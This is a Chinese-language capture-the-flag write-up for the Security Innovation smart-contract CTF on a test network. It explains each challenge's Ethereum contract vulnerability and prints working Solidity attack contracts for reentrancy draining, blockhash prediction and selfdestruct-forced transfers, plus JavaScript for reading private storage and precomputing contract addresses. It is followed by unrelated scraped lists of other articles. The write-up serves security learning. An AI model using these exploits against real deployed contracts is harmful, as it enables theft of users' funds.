赛题地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

Donation

源码解析

我们只需要用外部账户调用 withdrawDonationsFromTheSuckersWhoFellForIt() 把钱取出来,就算是挑战成功啦。本题难就难在怎么用外部账户调用合约函数。。。

解题

点一下 Hints 他就会提醒你用 MyCrypto 来完成这个挑战。我用了,太香了。完美解决了用外部账户调用合约函数的问题。

只需要进入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把内容填好 —> 选择所调用的函数 —> 成功!

Lock Box

源码分析

  1. now 参数在 0.7.0 以后被替换为 timestamp 它的返回值等于:https://www.unixtimestamp.com/
  2. pinprivatepin ,就是不公开的意思。
  3. 目的就是要你猜出 pin 的值。啊当然,猜是不可能猜的,这辈子也不可能猜的。

解题

接下来的内容,了解solidity中变量存储位置的读者可以“显然”地知道 pin 值在合约中存储的位置。不了解的读者也不要紧,我们可以进行一步推导得出他的存储位置。

将合约内容反编译:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

首先找到函数 function unlock(var arg0) ,然后在函数中找到这个判断:

if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3; if (!var0) { return; } var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}

为什么是这个 if 判断呢,因为在这个判断里面有转账语句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

然后我们看出我们输入的值是和 storage[0x01] 进行比较的,也就是说 pin 值就存放在 storage[0x01] 中。所以,我们可以利用 Web3.js 获取这个位置的值。

Web3.js 代码:

var Web3 = require('web3');
// 创建web3对象
var web3 = new Web3();
// 连接到 ropsten 测试节点
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log) // return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 转为十进制等于1970

HttpProvider 中填入你自己的 infura 链接即可。

最后,我们把得到的 1970 填入到题目中,完成解题。

Piggy Bank

解题

直接调用 CharliesPiggyBank 中的 collectFunds 函数进行取款就完成挑战了。。。

可能关键点就在于 CharliesPiggyBank 中的 collectFunds 少继承了 modifier onlyOwner() ,看看是否发现了这个漏洞。。。吧?

SI Token Sale

源码分析

  1. 虽然他调用了 SafeMath 模块,但是他没有用。诶有模块我不用,就是玩儿。
  2. 10 szabo 的交易费用(1 ether == 10^6 szabo)
  3. 结合以上两点,在 balances[msg.sender] += _value - feeAmount; 这里很可能会发生下溢出漏洞

解题

  1. 往合约打 10 wei (只要小于 10 szabo 即可),使其发生下溢出,这样我们的 balances 就会变得非常大,方便后面为所欲为。
  2. 然后调用 refundTokens(uint256 _value) 函数,_value 的值为合约余额的两倍(这里留意一下,在题目网页上显示的余额有那么一丢丢不准确,建议去 etherscan 上面查一下准确的余额)
  3. 过关~

Secure Bank

源码分析

  1. 三个合约,一层套一层,SimpleBank —> MembersBank —> SecureBank
  2. SimpleBank withdraw:要求取款不能超过账户余额
  3. MembersBank withdraw:要求取款不能超过账户余额,取款账户是 member
  4. SecureBank withdraw:要求取款不能超过账户余额,取款账户是 member,取款账户是自己

解题

我们要做的就是把创建合约的账户余额给取走。

虽然 SecureBank withdraw 是继承 MembersBank withdraw 的,但是因为的参数格式不一致(前者是uint8 _value,后者是uint256 _value),导致了 SecureBank 中会出现两个可以调用的 withdraw 函数。(这可以从 ABI 中看出,有两个 withdraw 函数。)

也就是说,可以在 SecureBank 合约中,调用 MembersBank withdraw 函数进行取款。

  1. 调用 register 函数,对创建合约的账户地址进行注册,使其成为 member
  2. 调用 MembersBank withdraw ,将创建合约的账户中的余额转走
  3. 成功

Lottery

一个猜数字的游戏,涉及到了区块号和发送者地址等

解题

  1. blockhash 函数,很有讲究,当输入的区块号为当前区块号或 256 个以前的区块号,它都返回 0。也就是说 blockhash(block.number) == 0

  2. ^ 是异或操作

  3. 也就是说,当我们要求 guess==target 的时候,只是在要求 _seed == abi.encodePacked(msg.sender)

  4. 通过下面的函数即可得到刚刚好的 _seed

    function encode(address _addr) public returns(bytes32) {
    return keccak256(abi.encodePacked(_addr));
    }

Trust Fund

看!好大个msg.sender.call.value(allowancePerYear)() !!它用 call 来转账!! 它用 call 来转账!! 重入漏洞干他!

解题

重入漏洞就不多解释了,原理搜一下即可,直接上攻击代码:

pragma solidity 0.4.24;

contract attack{
address public aimAddr; function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
} function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}

反复调用目标合约,将里面的钱全部提取出来。

注意:gas limit 要稍微设置的大一点点,不然会调用失败:out of gas。

Record Label

源码分析

  1. 代码很繁琐,整体来说就是取款的时候要按百分比分一部分给 Manager 合约
  2. 调用 withdrawFundsAndPayRoyalties 函数进行取款,取款流程跟踪函数看一下,还挺绕。。

关键点:

  1. addRoyaltyReceiver 函数中没有对添加的地址进行检测,可以添加已有的用户
  2. payoutRoyalties 函数中只对每一个 reciver 中的比例进行扣款,没有检查总的 percentRemaining

解题

查看 RecordLabel 合约的创建交易,它同时创建了另外两个合约(Manager 和 Royalties)

Royalties 合约的地址我们可以查到

所以可知 Manager 合约的地址为:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

Royalties 的 ABI 如下:

[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]

将 Royalties 合约中 (reciver == Manager) 的分钱比例设为 0

然后调用 withdrawFundsAndPayRoyalties 函数取走 1000000000000000000 wei (1 eth)即可

Slot Machine

代码分析

有一种转账方法可以在不触发 fallback 函数的情况下完成转账:合约自毁。

pragma solidity 0.4.24;

contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
} function () payable public{ }
}

解题

  1. 先转入 3.5 eth 到自毁合约中,执行自毁函数向目标合约进行转账(绕开了其fallback函数)。此时目标合约中的余额已经大于 5 eth,也就是满足 address(this).balance >= winner 这一条件。
  2. 再使用自己的账户往目标账户中转入 1 szabo ,完成攻击。

Heads or Tails

代码分析

关键点就在 entropy 和 coinFlip 两个变量上,而这两个变量都是我们可以获取到具体值的。根据题目 msg.sender.transfer(msg.value.mul(3).div(2)); 这行代码,我们转账 20 次即可把余额取完。

解题

不多bibi,直接上代码:

pragma solidity 0.4.24;

contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool; function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
} for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
} function getback() public{
msg.sender.send(this.balance);
} function () payable public{ }
}
  1. 首先把该合约加入到名单中。
  2. 然后在运行 caller 函数之前,往合约转 0.1 ether ,并且 gas limit 设置得稍微大一点点即可。
  3. 完成挑战后记得把钱取走!

Rainy Day Fund

源码分析

看到这道题的时候闪过了一下提前转账的想法,但是一想应该不能重置了再来这么蛇皮吧就打消了这个念头。没想到就是这样做的。

解题

我们需要提前计算出 DebugAuthorizer 合约的地址(可以做到),然后提前转账 1.337 ether,当这个地址被部署上合约的时候就满足条件 (address(this).balance == 1.337 ether) 。然后就可以调用 withdraw 函数把钱取走了。

首先,新的外部账户nonce从0开始,新的合约账户nonce则是从1开始。

查看合约调用链,我们可以得知 DebugAuthorizer 合约由 RainyDayFund 合约进行创建。而 RainyDayFund 合约则由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 创建。

我们知道 developer 的地址,还需要知道它创建 RainyDayFund 合约的 nonce ,这样才能计算出它下一次创建的合约地址。

var util = require('ethereumjs-util');
// 根据发送者地址和nonce求取生成的新合约的地址
// 先RLP编码,再Hash,截取Hash值的后20个字节
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2"; for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359

计算得出 developer 创建 RainyDayFund 合约的 nonce = 359 ,那么我们下一次创建的时候 nonce 就等于 360。而 RainyDayFund 合约在 nonce = 1 时创建了 DebugAuthorizer 合约。

然后就可以通过下面的代码计算出下一次部署的 DebugAuthorizer 的地址:

var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360; var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); /*
计算下一次重构所生成的合约地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/

然后往计算得出的 DebugAuthorizer 地址中转入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接调用 withdraw 函数将钱取走!

【吐槽:这道题真的很费币。。做到一半币不够了,水龙头也坏了,还得向大佬要了点币才解得了。。】

Raffle

解题

利用 blockhash 函数只能计算最近 256 个区块的哈希值,超过 256 个的区块哈希值为 0 这个特点。

合约1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

负责买票,关闭抽奖

pragma solidity ^0.4.0;

contract Raffle{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

合约2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

负责买票,领奖

pragma solidity ^0.4.0;

contract Raffle2{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

买完票以后的当前区块数:10853164,只需要耐心等待,直到区块数超过 10853164 + 256 ,再利用合约1关闭抽奖,最后利用合约2领奖。

后记

从其他博客中看到了一个关键点:

触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身

【阿菜Writeup】Security Innovation Smart Contract CTF的更多相关文章

  1. the security of smart contract- 1

    https://blog.zeppelin.solutions/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05 这个 ...

  2. the security of smart contract- 2

    出处:https://cloud.tencent.com/developer/article/1192548 深度解析Solidity的17个坑及超详细避坑指南 写的很好,好好学习 1. Re-Ent ...

  3. ethereum/EIPs-1271 smart contract

    https://github.com/PhABC/EIPs/blob/is-valid-signature/EIPS/eip-1271.md Standard Signature Validation ...

  4. Using APIs in Your Ethereum Smart Contract with Oraclize

    Homepage Coinmonks HOMEFILTER ▼BLOCKCHAIN TUTORIALSCRYPTO ECONOMYTOP READSCONTRIBUTEFORUM & JOBS ...

  5. Smart Contract - Hello World

    [编写Smart Contract] 1.包含头文件. #include <eosiolib/eosio.hpp> #include <eosiolib/print.hpp> ...

  6. Truffle Smart Contract Error: Invalid number of parameter

      I followed the tutorial of quorum with truffle: https://truffleframework.com/tutorials/building-da ...

  7. 区块链学习5:智能合约Smart contract原理及发展历程科普知识

    ☞ ░ 前往老猿Python博文目录 ░ 一.智能合约的定义 通俗来说,智能合约就是一种在计算机系统上,当一定条件满足的情况下可被自动执行的合约,智能合约体现为一段代码及其运行环境.例如银行信用卡的自 ...

  8. 【翻译】A Next-Generation Smart Contract and Decentralized Application Platform

    原文链接:https://github.com/ethereum/wiki/wiki/White-Paper 当中本聪在2009年1月启动比特币区块链时,他同时向世界引入了两种未经测试的革命性的新概念 ...

  9. smart contract 知识点

    知识点 memory vs storage vs stack storage , where all the contract state variables reside. Every contra ...

随机推荐

  1. Asp.net mvc使用SignaIR

    一.Asp.net SignalR 是个什么东东 Asp.net SignalR是微软为实现实时通信的一个类库.一般情况下,SignalR会使用JavaScript的长轮询(long polling) ...

  2. 深入理解索引和AVL树、B-树、B+树的关系

    目录 什么是索引 索引的分类 索引和AVL树.B-树.B+树的关系 AVL树.红黑树 B-树 B+树 SQL和NoSQL索引 什么是索引 索引时数据库的一种数据结构,数据库与索引的关系可以看作书籍和目 ...

  3. python使用selenium,webdriver自动下载百度网盘内容

    想实现一个自动下载微信公众号分享百度网盘图片链接的爬虫,使用selenium和火狐的webdriver进行完成 1.首先根据自己的浏览器下载相应的webdriver驱动器,python中导入selen ...

  4. POJ 尺取法

    poj3061 Subsequence 题目链接: http://poj.org/problem?id=3061 挑战P146.题意:给定长度为n的数列整数a0,a1,...,a(n-1)以及整数S, ...

  5. Spring总结之AOP

    一.Spring AOP简介(百度百科) 面向切面编程(也叫面向方面编程):Aspect Oriented Programming(AOP),是软件开发中的一个热点,也是 Spring 框架中的一个重 ...

  6. Python - 基础数据类型 list 列表

    什么是列表 列表是一个有序的序列 列表中所有的元素放在 [ ] 中间,并用逗号分开 一个 列表 可以包含不同类型的元素,但通常使用时各个元素类型相同 特征 占用空间小,浪费内存空间少 声明列表变量 列 ...

  7. bootstrap与vue的区别是什么?(十七)

    Bootstrap Bootstrap是美国Twitter公司的设计师Mark Otto和Jacob Thornton合作基于HTML.CSS.JavaScript 开发的简洁.直观.强悍的前端开发框 ...

  8. Allure测试框架 python

    关于Allure Allure是一个report框架,可以基于一些测试框架生成测试报告,比较常用的一般是Junit/Testng框架: Allure 生成的报告样式简洁美观,同时又支持中文: Allu ...

  9. Matplotlib不能显示中文和正负号的问题

    参考链接:https://www.jianshu.com/p/240ea3ae0dc9 在使用matplotlib画饼状图时,遇到了如下问题 UserWarning: findfont: Font f ...

  10. python -- 负数平方根-虚数的使用

    负数的平方根是虚数. 不能使用sqrt,因为它只能处理浮点数,而虚数是完全不同的--这也是由另外一个叫做cmath(即 complex math, 复数)的模块来实现这些功能的原因. >> ...